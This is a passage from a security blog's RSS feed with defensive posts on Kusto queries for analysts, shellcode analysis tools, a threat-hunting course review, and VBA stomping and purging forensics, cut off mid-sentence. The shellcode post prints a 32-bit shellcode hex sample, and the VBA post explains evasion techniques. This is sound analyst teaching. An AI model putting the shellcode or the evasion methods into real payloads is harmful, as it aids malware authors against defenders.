src="https://cdn-images-1.medium.com/max/720/1*apQejEhxHEN0WMHJ_rm2pw.png" /></figure><p>In this example, VBA simply spawns calc.exe for the testing purpose. However, in real situations, attackers may launch powershell, rundll32 etc. Hence, the best approach is to survey your environment for the baseline of child processes from MS Office and any unexpected child processes worth an investigation.</p><p>Data source: Winevent 4688, Sysmon event 1 or EDR (or equivalent) for process creation are required.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffbe0d81512d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Query language 101]]></title>
            <link>https://tho-le.medium.com/kusto-query-language-101-1c66e29e6b56?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c66e29e6b56</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[kusto]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[analytics]]></category>
            <category><![CDATA[sentinel]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Thu, 08 Apr 2021 09:02:48 GMT</pubDate>
            <atom:updated>2021-04-08T09:02:48.810Z</atom:updated>
            <content:encoded><![CDATA[<p>The article aims to provide the fundamentals of <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/">Kusto query language</a> to search for complex data patterns as well as generate complicated analytics in the Azure cloud.</p><p>As a cybersecurity analyst, Splunk is one of the most important tools for my daily tasks. Automatically over years, I become comfortable with Splunk SPL (Search Processing Language). However, I have always been opening myself for Splunk SPL alternatives or a better query language. With cloud popularity, I have recently participated in Azure training on Azure Sentinel and the Kusto query language, which offers at least (if not more) the capabilities available in Splunk SPL. Hence, this article aims to share my Kusto learning with fundamentals and common commands to cybersecurity analysts.</p><p>The article contains 3 mains parts as below:</p><ul><li><strong>Kusto Fundamentals</strong>: provides some key information about this query language</li><li><strong>Searching and Presentatio</strong>n: provides queries to search for data and to present data in a structured way so that an analyst can derive information easily.</li><li><strong>Analytics and Charting</strong>: introduces the power of creating analytics, summarizing events, and visualizing data.</li></ul><h4>Kusto <strong>Fundamentals</strong></h4><p><a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/">Kusto query language</a> is organized in a SQL-alike hierarchy including databases, tables, and columns, which makes its syntax also a bit SQL-query alike.</p><p>Kusto is a powerful query language to not only search for complex patterns, but also create complicated analytics. The following sections will demonstrate the power of Kusto.</p><p>A Kusto query contains one or more statements that return tabular results. In general, a statement starts with a table name and pipe(s) (|) for subsequence processing. each statement is separated by a semicolon as in the example below:</p><pre>StormEvents --&gt; table name &quot;StormEvent&quot;, Start of Statement 1<br>--&gt; subsequence processing after pipe<br>| where StartTime &gt; datetime(2007-01-14 00:11:00)<br>; --&gt; end of statement 1</pre><pre>StormEvents  --&gt; start of statement 2<br>| where EndTime &lt; datetime(2007-01-14 8:30:00)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*f92L9xjYmvmu7tG6pwVbyA.png" /></figure><p>As seen in the figure above, there are 2 statements in the query; hence, there are two tables returned for each statement.</p><p>Another important concept in Kusto is “term”. Since a security analyst will have to work a lot with strings, understand “term” is essential. Each string value is broken into maximal sequences of at least 3-character ASCII alphanumeric letters and each of those broken values is called “term”. For example, column “name” contains a string value “this is a test”, Kusto will index two terms in the string, namely “this” and “test”. Hence, when searching, it is more efficient to search on indexed terms (e.g. name has “test”) rather than to scan over the whole string value (e.g. name contains “test”).</p><p>Basic Logical operators can be found in the figure below. For further about string operators, I would highly recommend checking <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/datatypes-string-operators">this page</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*xenUrRDTl5LyLFxb2D0aVA.png" /><figcaption>source: <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/logicaloperators">https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/logicaloperators</a></figcaption></figure><p>For learning purposes, Azure provides the free data explorer service (<a href="https://dataexplorer.azure.com/">https://dataexplorer.azure.com</a>) with some data samples to practice Kusto queries. In the following sections, I use <strong>StormEvents </strong>sample data in dataexplorer to demonstrate Kusto syntax.</p><p>Kusto query language full documentation can be found on MS official page — <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/concepts/">https://docs.microsoft.com/en-us/azure/data-explorer/kusto/concepts/</a></p><p>If anyone has been already familiar with either SQL or Splunk SQL, you can make a quick start with <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/sqlcheatsheet">SQL to Kusto</a> or <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/splunk-cheat-sheet">Splunk to Kusto</a> cheat sheet</p><h4>Search and Presentation</h4><blockquote><strong>where </strong>operator (Splunk=where): is used to filter results based on the logic comparison. It has an alias name called <strong>filter</strong>. In the example below, <strong>where </strong>is used to filter events within the StartTime/EndTime values and EventType with term “flood”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F59trhh_ZexxNa8xLO-D1Q.png" /></figure><blockquote><strong>Search</strong> operator (splunk=search): offers a similar capability as <strong>where.</strong> However, the syntax is clearer and more intuitive when looking for term and free text based on regex. Personally, I would use <strong>where </strong>for field value comparison and <strong>search </strong>for string-related lookup.</blockquote><blockquote>Note: this is quite different to Splunk in which you are advised to use <strong>search</strong>, and only use <strong>where</strong> if only you know what you are doing and understand their differences, subtle but important</blockquote><blockquote>The side-by-side usage of <strong>search</strong> and <strong>where</strong> is presented in the figure below:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*fYp02VTuQA6tenR7GtPwsg.png" /><figcaption>source: <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/searchoperator?pivots=azuredataexplorer">https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/searchoperator?pivots=azuredataexplorer</a></figcaption></figure><p>The example below searches for the term “flood” in all columns and the value in column “State” starts with “ken” and the value in EventType matches the defined regex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XlND31ghzIllrmQXH1uSRA.png" /></figure><blockquote><strong>Project</strong> operator (splunk=table): is to identify columns to be presented</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*pV7TZlPRT6YdKcv00-7Blw.png" /></figure><blockquote><strong>Order</strong> operator (Splunk=sort): is to sort the returned result based on provided columns. The example belows sorts the returned results based on values in 2 columns (State and EventType) in the ascending order.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*Ciw_19TuOpXZEo13IQrQkw.png" /></figure><blockquote><strong>ago operator</strong>(splunk=earliest, latest): it is common for security analyst to investigate events with relative times such last 24 hours, last 30 days. <strong>ago(timespan)</strong> is for that purpose which subtract the current UTC time with the provided timespan (e.g 10s, 30m, 24h and 30d).</blockquote><pre>StormEvents</pre><pre>| where StartTime &gt; ago(24h)</pre><blockquote><strong>Distinct</strong> operator (Splunk=dedup): is to deduplicate data based on provided column names. It is similar to <strong>dedup</strong> command in Splunk</blockquote><pre>StormEvents</pre><pre>| distinct EventType,State --&gt; deduplicate returned values based on EventType and State columns</pre><blockquote><strong>Extend</strong> operator (Splunk=eval): is to create a new variable during processing. The example below shows that a new variable, called <strong>duration, </strong>is created.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*T-NwpcPr1he26ldx3LYxUQ.png" /></figure><blockquote><strong><em>Let </em></strong>operator<em>: is to assign a name to a statement, which can be referred later in the other statement by name (think of it like a function in programming). This is quite an exiting capability which I couldn’t think of an equivalent command/feature in Splunk (partly Splunk Marco). The example below demonstrate the power of </em><strong><em>let </em></strong><em>which binds “texas” name to the whole expression and allow usage in the next statement.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-UHqdBspU9TxvjxVZsJEQ.png" /></figure><blockquote><strong>Top</strong> operator (Splunk=top): returns the top N results sorted by specified columns. The example below returns the top 3 rows with the highest duration values.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*7AnOIZi-qgc-66Se7G2vXg.png" /></figure><blockquote><strong>Join</strong> operator (Splunk=join): is similar to join in Splunk and SQL, which return a new table by combining two tables based on common column(s). There are quite a few joining kinds as shown in the figure below, which determines the merging behavior and returned results.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*mN6b1Typam_AuDhj0xp1Fw.png" /></figure><p>The example below tries to match rows from “StormEvents” and “covid19” table over a common column “State” and the results contain rows with State, EventType (in “StormEvents” table), and StateCode (in “covid19” table) columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*T2EOIGOQCMND2MqFKA-57w.png" /></figure><blockquote><strong>Extract</strong> operator (Splunk=rex): is used to extracted substrings based on a regular expression.<br>Syntax: extraxt (regex_formula, capturegroup, input_text, optional_extract_datatype)</blockquote><blockquote>The example below tries to extract a number after FM in the EventNarrative string values.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5XpzTHaxag0dQBl-_hTQQ.png" /></figure><h4>Analytics and Charting</h4><blockquote><strong>Summarize </strong>operator (Splunk=stats): can be used to create various analytics over the examined data such as min, max, average, count etc. Professional security analyst would use this capability heavily in order to get an insight into a large number of events rather than go through to each event manually.</blockquote><p>The example below demonstrates the power of this operator by counting all storms grouped by State and EventType</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*2LIhRNMRThFVDfv-jV1NZA.png" /></figure><blockquote><strong>Bin </strong>operator (Splunk=bin): is frequently used with <strong>summarize </strong>if you want to examine events at a more granular level. For example, instead of counting all connections to a server, you may want to check the number of connections on an hourly basis (in Splunk, either bin or timechart (running bin in background) commands should achieve the similar goal).</blockquote><blockquote>Syntax: bin(value, binsize). Given an example of value 11 and binsize 2, this value would categorized into the bin for values between 10 and 12.</blockquote><p>The example below shows the breakdown counting of storms with a duration in bin size of 1 hour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*LPnU19unYI-IGnR6IUiUkg.png" /></figure><blockquote><strong>Render</strong> operation: is frequently used with <strong>summarise</strong> to visualize aggregation information.<br>Syntax: render charttype (e.g. timechart, barchart etc.). The full list can be found <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/renderoperator?pivots=azuredataexplorer">here</a>.</blockquote><p>I re-use the above example to visualize the counting of each bin by a line chart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-ECcqrlqQwC1tW2BpoF1Q.png" /></figure><h4>Conclusion</h4><p>The article has provided some common operators that a security analyst could apply to enhance his investigation. However, the sections above don’t mean to be an exhausting list, but its main goal is to lay a foundation to start with. It is highly recommended to check <a href="https://docs.microsoft.com/en-us/azure/data-explorer/kusto/concepts/">the official documentation page</a> if you need to understand an operator or look for a new operator that can processing data as your need.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c66e29e6b56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Techniques and Tools for Shellcode Analysis]]></title>
            <link>https://tho-le.medium.com/techniques-and-tools-for-shellcode-analysis-9a49a1e15b2f?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a49a1e15b2f</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[shellcode-analysis]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Thu, 28 Jan 2021 19:51:51 GMT</pubDate>
            <atom:updated>2021-01-28T19:58:59.670Z</atom:updated>
            <content:encoded><![CDATA[<p>Shellcode is a sequence of machine code that is commonly abused to execute malicious codes after vulnerability exploitation, download the next payload, or beacon back to its C2 server. This article presents various techniques and tools to analyze Windows shellcode. It contains are 3 main parts:</p><ul><li>Shellcode Introduction</li><li>Dynamic Analysis via Emulation and Real Execution</li><li>Code Analysis via Debugging and Static Analysis</li></ul><h4><strong>Shellcode Introduction</strong></h4><p>Shellcode is a sequence of hex-value CPU instructions that can be interpreted and executed directly by the CPU. Below is an example of a 32-bit shellcode:</p><pre>56 64 a1 30 00 00 00 8b 40 0c 8b 70 1c ad 8b 40 08 5e c3 55 8b ec 8b 45 08 52 33 d2 c1 c2 03 32 10 40 80 38 00 75 f5 8b c2 5a 5d c2 04 00 55 8b ec 51 51 53 56 57 60 8b 5d 08 33 c0 8b 75 0c 8b fe 03 76 3c 8b 4e 78 03 cf 8b 51 1c 52 8b 51 24 52 8b 71 14 4e 89 75 fc 8b 71 20 03 f7 99 4a ad 42 60 3b 55 fc 75 04 33 c0 eb 37 33 ff 03 45 0c 97 8b cf ae 75 fd 2b f9 4f 51 e8 94 ff ff ff 3b c3 61 74 02 eb d9 8b 45 0c 92 5e</pre><p>CPU interprets “<strong>56</strong>” as “<strong>PUSH ESI</strong>” and “<strong>64 a1 30 00 00 00</strong>” as “<strong>MOV EAX, FS:[0x30]</strong>”. Figure 1 presents how the CPU interprets and executes instructions from the example above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*t4infMay0NGi9rLBUv4QzQ.png" /><figcaption>Figure 1: 32-bit Shellcode</figcaption></figure><p>If you are interested in understanding the inner work of shellcode which is useful for debugging and code analysis, it is recommended to check <strong>chapter 19</strong> in the <a href="https://nostarch.com/malware"><strong>Practical Malware Analysis</strong></a><strong> book</strong>, in which the author explains the necessary steps needed for a shellcode to execute properly (e.g. get PEB, find module addresses and load libraries). There are also a few samples for exercise purposes. However, I rarely use this technique when analyzing shellcode since it takes time, more difficult to investigate and there is a better way to achieve more or less similar results, dynamic analysis.</p><p>Depend on the language of a malicious file being investigated, shellcode can be stored in multiple forms. Below are some common forms of Shellcode embedded in a malicious file.</p><ul><li>Hex number:</li></ul><pre>56 64 a1 30 00 00 </pre><ul><li>Backslash:</li></ul><pre>\x56\x64\xa1\x30\x00\x00</pre><ul><li>Percentage Unicode</li></ul><pre>%u6456%u30a1%u0000</pre><ul><li>Backslash Unicode</li></ul><pre>\u6456\u30a1\u0000</pre><ul><li>Byte array</li></ul><pre>[0x56, 0x64, 0xa1, 0x30, 0x00, 0x00] //depend on programing language</pre><p>When analyzing a shellcode, there is often a need to execute/debug the shellcode to observe its behavior (it will be covered in later sections), it is convenient to convert the shellcode to an EXE file. There are multiple tools for this purpose; however, I find <a href="https://github.com/repnz/shellcode2exe"><strong>shellcode2exe</strong></a> bat script is working well for both 32-bit and 64-bit shellcode.</p><pre>shellcode2exe.bat 32/64 &lt;shellcode filename&gt; &lt;EXE output filename&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*cXoVTf4OMz4sg6Tag9QxnA.png" /><figcaption>Figure 2: shellcode2exe output</figcaption></figure><h4><strong>Dynamic Analysis via Emulation and Real Execution</strong></h4><p>In my opinion, dynamic analysis is the most efficient way to analyze shellcode; since shellcode is a small piece of machine instructions, it often doesn’t contain defensive mechanisms again dynamic analysis. In other words, by executing it, we should be able to observe most of its activities. There are two favors of dynamic analysis, namely emulation and real execution:</p><ul><li><strong>Emulation</strong>: as the name indicates, the shellcode is not actually executed, but only emulated to records all of its activities. <a href="http://sandsprite.com/blogs/index.php?uid=7&amp;pid=152"><strong>scdbg</strong></a><strong> </strong>tool is an excellent tool for this purpose. Figure 3 presents how simple it is to analyze a shellcode with scdbg.</li></ul><pre>scdbg -f &lt;shellcode&gt; -s &lt;number of execution steps&gt;</pre><pre>Note:<br>- the default number of steps is 2000000. <br>- If the &quot;Stepcount&quot; reach the default number of execution step, it means that the shellcode still needs to execute beyond that number of step. In that case, &quot;-s&quot; is used to increate the number of execution steps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*dTFSN6JEg7Ft4mTsVJ6dug.png" /><figcaption>Figure 3: Emulate shellcode execution with scdbg</figcaption></figure><ul><li><strong>Real execution</strong>: <br>The easiest way is to convert shellcode to an EXE file and perform dynamic analysis. If you are not familiar with the topic, I have explained in detail malware behavior analysis in the article <a href="https://tho-le.medium.com/malware-analysis-lab-and-behavioral-analysis-steps-229cf8c15d5e"><strong>Malware Analysis Lab and Behavioral Analysis Steps</strong></a><strong>.<br></strong>However, sometimes you would need more control over how the shellcode is started. For example, a shellcode is initiated with some custom parameters, or some opened handles to files are requested for the shellcode to run properly, etc. If such control is needed, jmp2it is a great tool to customize the initiation.</li></ul><pre>jmp2it &lt;shellcode file&gt; &lt;offset to shellcode&gt; [pause|addhandle]</pre><pre>- Option <strong>pause</strong>: jmp2it inserts a JMP causing infinite loop prior to shellcode. In that way, analyst can attach debugger to jmp2it and debug the shellcode<br>- Option <strong>addhandle: j</strong>mp2it creates a handle to the file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*ag5nyF2aF4G787BEQ_ZL8A.png" /><figcaption>Figure 4: Execute shellcode with jmp2it</figcaption></figure><h4>Code Analysis via Debugging and Static Analysis</h4><p>The above technique, dynamic analysis, works well for shellcodes that are not armed with defensive mechanisms. However, a complicated shellcode may perform few environmental checks prior to executing its malicious activities. For example, a shellcode may check to make sure that there is no anti-virus software installed in the targeted machine. In those cases, code analysis either via debugging or static code analysis or a combination of both would help analysts understanding the code logic and bypassing those evasion techniques.</p><ul><li><strong>Debugging</strong>: is similar to dynamic analysis in the sense that the technique relies on shellcode execution; hence, converting shellcode to EXE or using jmp2it tool are also the starting step. However, it is different from the dynamic analysis in the controlled manner of execution. Dynamic analysis executes a shellcode uninterruptedly; while in debugging mode,<br>an analyst can step into/step over a subroutine/instruction(s), pause, set breakpoints, and examine all data in memory and registries for every single execution step. It gives the analyst a great view of the flow of the shellcode. There are quite a few debugger tools in user mode, one of them is <a href="https://x64dbg.com/#start"><strong>x64dbg</strong></a>. Unlike its name, the tool can be used to debug both 32-bit and 64-bit shellcodes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*xjxmnerQI09mYWmbz9qFpQ.png" /><figcaption>Figure 5: shellcode debugging with x64dbg</figcaption></figure><ul><li><strong>Code analysis</strong>: is to statically examine shellcode in a disassembler to understand its logic without the need for execution. This technique is similar to read an application code in an editor. There are few popular options both free and commercial (e.g. IDA, Ghidra, and Radare). IDA is undoubtedly the most popular disassembler; however, its commercial version is pretty expensive. I used to use IDA free for code analysis; however, after the release of NSA’s tool, <a href="https://ghidra-sre.org/"><strong>Ghidra</strong></a>, I mainly utilize this tool since it offers many IDA’s commercial features without any cost. When import shellcode to Ghidra, it is important that you select the correct language and compiler specifications. For example, in the figure below, my shellcode is 32-bit and is designed to run in the Windows environment.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*TUSyVWAoDSOurRFFqkBfGg.png" /><figcaption>Figure 6: Ghidra language and compiler selection</figcaption></figure><p>Initially, Ghidra would treat hex values in the shellcode file as data; hence, we need to explicitly tell Ghidra to interpret as code.</p><pre>To disassemble, select all rows --&gt; right click and choose “Disassemble” (or press D)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*YcwwmKnuqcdG7oxO4CltJw.png" /><figcaption>Figure 7: Ghidra displays shellcode as data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*z-KTCdQgPCdWS7iniaj8gQ.png" /><figcaption>Figure 8: Ghidra display shellcode as code</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a49a1e15b2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eLearnSecurity Threat Hunting Professional (THP) course and eCTHPv2 exam (Dec 2020)]]></title>
            <link>https://tho-le.medium.com/elearnsecurity-threat-hunting-professional-thp-course-and-ecthpv2-exam-dec-2020-f90279c8ff24?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/f90279c8ff24</guid>
            <category><![CDATA[ecthp]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[thps]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sun, 17 Jan 2021 21:31:09 GMT</pubDate>
            <atom:updated>2021-01-17T21:31:09.099Z</atom:updated>
            <content:encoded><![CDATA[<p>Threat hunting (TH) is a new trend in cybersecurity when companies, from small to large spending from few thousands to millions, soon realize that their detection system containing all expensive tools (such as AV, IDS/IPS, Firewall, EDR, SIEM, etc.) can’t detect all intrusions. They need a specialized squad to patrol the environment and hunt for abnormal events.</p><p>eLearnSecurity is one of the first training providers offering a specialized course for threat hunting, namely Threat Hunting Profession (THP), and the associated certificate eCTHPv2. <br>P/S: If you are interested in becoming a threat hunter, penetration testing skills are certainly vital. I have also shared my view on another excellent course from eLearnSecurity: <a href="https://tho-le.medium.com/overview-of-ptp-and-ecpptv2-exam-july-2020-a18bf199fd69">Penetration Testing Professional course (PTP) and eCPPTv2 exam (July 2020)</a></p><p>The article aims to share the author’s view after taking the course with 3 sections as below:</p><ul><li>THP curriculum details</li><li>eCTHPv2 exam</li><li>Personal point of view</li></ul><h4>THP curriculum details</h4><p>THP aims to provide you with the necessary knowledge to start your first hunt. It begins the journey with TH introduction and the role of threat intelligence in TH. Then the course walks you through both network hunting and endpoint hunting.</p><p>THP curriculum contains three main parts as below:</p><ul><li><strong>Part 1: Introduction to threat hunting</strong><br>As the name indicates, this part mainly introduces terms and concepts related to TH such as NIST incident response framework, <a href="https://www.youtube.com/watch?v=zlAWbdSlhaQ&amp;ab_channel=RVAsec">pyramid of paint</a> by David Bianco, cyber kill chain, diamond model, MITRE ATT&amp;CK, threat intelligence, hunting hypothesis/methodology, and metrics, etc. Furthermore, the hunting mindset and the role of threat intelligence to TH are also covered and emphasized.<br>In general, if you are new to cybersecurity fields, the section is interesting as you will get familiar with terms/concepts that cybersecurity people talk about and apply in their day-to-day jobs.<br>Personally, I don’t find this part so helpful given that I am a blue team defender and have been regularly participating in TH for more than a year. The reason for my opinion is that aside from the term/concept introduction, it is NOT into the details of how you should approach, plan, and execute a hunt. So if you are like me who is looking for a better hunting approach from more experienced hunters to improve yourself, then this part doesn’t fulfill that desire.</li><li><strong>Part 2: Network hunting<br></strong>This section starts with TCP/IP and OSI model introduction which is aligned with almost all courses about networking. Then the course presents details about normal and suspicious behaviors (hunting tips) of multiple common protocols such as ARP, DHCP, DNS, and HTTP(s). Hunting tools are then introduced which covers de factor standard tools such as Wireshark, T-shark, Tcpdump, and Networkminer, etc. Lastly, the section ends with web shell hunting which is basically just the introduction of some specialized tools for the purpose.<br>Again, if you are new to the field, the content is certainly interesting, especially with the lab exercises. However, if you are a professional analyst, you may not learn new knowledge here, maybe some tips/tricks and some new tools.</li><li><strong>Part 3: Endpoint hunting<br></strong>This section is the most interesting part of the course, it covers various aspect of endpoint hunting. The section begins with the discussion of the normal behavior of Windows OS processes, which is almost similar to the first page of the popular SANS’s poster <a href="https://digital-forensics.sans.org/media/SANS_Poster_2018_Hunt_Evil_FINAL.pdf">Find Evil — Known Normal</a>. It then covers malware in detail such as clarification, evasion technique, persistent mechanism, injection techniques, various types of hooking, and DLL/COM hijacking. From that, the slides introduce multiple detection tools to identify malware in various forms such as hide in plain sight, code injection, fileless malware, etc. Continuingly, you get familiar with memory analysis with FireEye’s Redline and Volatility tools for offline systems as well as various techniques/tools for hunting on live systems. Particularly, .NET hunting and Event Tracing for Windows (ETW) are interesting since there are quite a few sources touching these topics. Furthermore, .NET malware is trending as a perfect replacement for PowerShell with few to zero logging from most enterprise environments.<br>I learn a lot from this section and the related labs. However, few tools covered in the material don’t work as expected. It would be great if eLearnSecurity reviews and updates learning material frequently. In addition, I felt several labs are not in deep to enhance learners’ experience, but just tool orientation (something like run a tool and observe results).</li></ul><h4><strong>eCTHPv2 exam</strong></h4><p>One of the things I like most about eLearnSecurity is their practical exam and eCTHPv2 is not an exception. It is not a multi-choice but a full 3-day challenge including a written report. eLearnSecurity evaluates your performance based on the submitted report.</p><p>When starting, you would receive a letter of hunting engagement containing 3 scenarios, and the necessary, but insufficient condition to pass the exam is to get 75 out of 100 points. You are also required to perform thorough hunting and report any threat identified.</p><p>Basically, you would be given an intelligent analysis report which you can use to derive the attackers’ Tactics, Techniques, and Procedures (TTP). Then, you apply that knowledge to hunt for traces of adversaries, it could be via log events in Splunk or ELK stack, it could also be captured PCAP files or memory images.</p><p>Personally, I clarify the exam in the easy/medium spectrum. I completed all 3 scenarios after a few hours. So if you study the course material well and practice all the labs, you should be able to walk through the exam naturally.</p><p>Improvement point: the idea of the exam is practical, in which you are given an intelligent report to learn about your adversaries and hunt for them via various means. However, I would recommend the scenarios should be built up from real malware and a real analysis report. The simulated version is pretty simple and does not reflect the complication of threat actors in the real world.</p><h4>Personal point of view</h4><p>Since the need for threat hunting is increasing, the course does provide solid ground knowledge for new and intermediate cybersecurity folks. For more experienced folks, you may find part 1 (introduction to threat hunting) and part 2 (network hunting) less interesting than the last part (endpoint hunting) which covers a lot of useful stuff for practical hunting. Personally, I just skimmed through parts 1 and 2 in an hour or two and focused on endpoint hunting materials in a few days.</p><p>In general, the course structure and labs are good; I would surely recommend the course for anyone who is new to hunting. However, the course is not suitable for advanced learners who are looking for a course with full of new stuff and challenges to practice their skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f90279c8ff24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MS Office Forensic: VBA obfuscation via VBA Stomping and Purging]]></title>
            <link>https://tho-le.medium.com/ms-office-forensic-vba-obfuscation-via-vba-stomping-and-purging-50c87074fdba?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/50c87074fdba</guid>
            <category><![CDATA[ms-office-forensics]]></category>
            <category><![CDATA[macro-analysis]]></category>
            <category><![CDATA[vba-macros]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Wed, 06 Jan 2021 13:25:54 GMT</pubDate>
            <atom:updated>2021-01-06T13:25:54.219Z</atom:updated>
            <content:encoded><![CDATA[<p>VBA is one of the most common attack vectors against MS office; hence, adversaries have been finding ways to evade Anti-virus, forensic tools and even static analysis. In this article, I cover two interesting approaches, namely VBA Stomping and VBA Purging.</p><p>P/S: for details of MS document analysis, please refer to my previous article “<a href="https://tho-le.medium.com/malicious-microsoft-office-document-analysis-and-analyze-a-colbat-example-159854ba3dab">Malicious Microsoft Office Document Analysis and Analyze a Cobalt Sample</a>”</p><p>The article contains three parts as below:</p><ul><li>VBA Hierarchy Explanation</li><li>VBA Stomping</li><li>VBA Purging</li></ul><p><strong>VBA Hierarchy Explanation</strong></p><p>Microsoft provides rich details about VBA storage in <a href="https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc">its documentation page </a>. The figure below illustrates the overview of VBA hierachy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*6O8jAVTQ5SIWZws5VvqO9w.png" /><figcaption>Figure 1: VBA Storage Hierarchy (source: <a href="https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/005bffd7-cd96-4f25-b75f-54433a646b88">https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/005bffd7-cd96-4f25-b75f-54433a646b88</a>)</figcaption></figure><p>The actual structure of a MS document with macro can be viewed via GUI tools, like <a href="http://www.mitec.cz/ssv.html">ssview</a> and <a href="http://www.flexhex.com/">hexflex</a>. An example is shown in the Figure 2 via ssview:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*phKEnMzW6Ta0BI_9TMQzSQ.png" /><figcaption>Figure 2: VBA hierarchy from a word file</figcaption></figure><p>Some important streams for VBA operation are explained as below:</p><ul><li><strong>&lt;module_stream&gt;</strong>: in the example above, they are “NewMacros” and “ThisDocument”. module stream(s) containts the actual VBA codes that are executed. In each module stream, there are two parts, namely <strong><em>PerformanceCache</em></strong> (compiled VBA code for performance or pcode) and <strong><em>CompressedSourceCode</em></strong>. These components are abused to evade detection, which will be discussed further in coming sections for VBA Stomping and VBA Purging.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*aCQwEEigl93y3_B0_qUBsA.png" /><figcaption>Figure 3: Module stream structure (Source: <a href="https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/">https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*Oco1lD64hXwHvaGJnWKOYg.png" /><figcaption>Figure 4: <strong><em>PerformanceCache</em></strong> (above and unreadable) and <strong><em>CompressedSourceCode </em></strong><em>(below and contain some readable characters)</em></figcaption></figure><ul><li><strong>dir</strong>: is a compressed binary stream for the VBA layout. The offset between <strong><em>PerformanceCache </em></strong><em>and </em><strong><em>CompressedSourceCode </em></strong><em>are defined in this stream</em></li><li><strong>_VBA_PROJECT</strong>: is a binary stream which instruct the execution of VBA engine. “If the MS Office version specified in the _VBA_PROJECT stream matches the MS Office version of the host program then the VBA source code in the module stream is ignored and the p-code is executed instead.” (source: <a href="https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/">https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/</a>)</li><li><strong>_SRP_n</strong>: contains <strong><em>PerformanceCache </em></strong><em>related data</em></li><li><strong>Project</strong>: is a stream of text data regarding project 